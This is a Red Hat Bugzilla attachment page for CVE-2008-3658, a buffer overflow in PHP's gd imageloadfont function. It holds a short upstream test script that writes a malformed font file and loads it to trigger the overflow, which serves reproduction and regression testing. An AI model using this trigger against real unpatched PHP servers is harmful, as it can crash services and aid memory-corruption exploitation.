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Red Hat Bugzilla – Attachment 314567 Details for
Bug 459529
CVE-2008-3658 php: buffer overflow in the imageloadfont function in gd extension
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Reproducer from upstream CVS
gd-CVE-2008-3658.php (text/plain), 520 bytes, created by
Tomas Hoger
on 2008-08-19 18:44:23 UTC
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Description:
Reproducer from upstream CVS
Filename:
MIME Type:
Creator:
Tomas Hoger
Created:
2008-08-19 18:44:23 UTC
Size:
520 bytes
patch
obsolete
><?php >if (!extension_loaded('gd')) die("skip gd extension not available\n"); >if (!GD_BUNDLED) die('skip external GD libraries always fail'); > >$filename = dirname(__FILE__) . '/font.gdf'; >$bin = "\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00"; >$fp = fopen($filename, 'wb'); >fwrite($fp, $bin); >fclose($fp); > >$image = imagecreatetruecolor(50, 20); >$font = imageloadfont($filename); >$black = imagecolorallocate($image, 0, 0, 0); >imagestring($image, $font, 0, 0, "Hello", $black); >unlink($filename); >?>
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bug 459529
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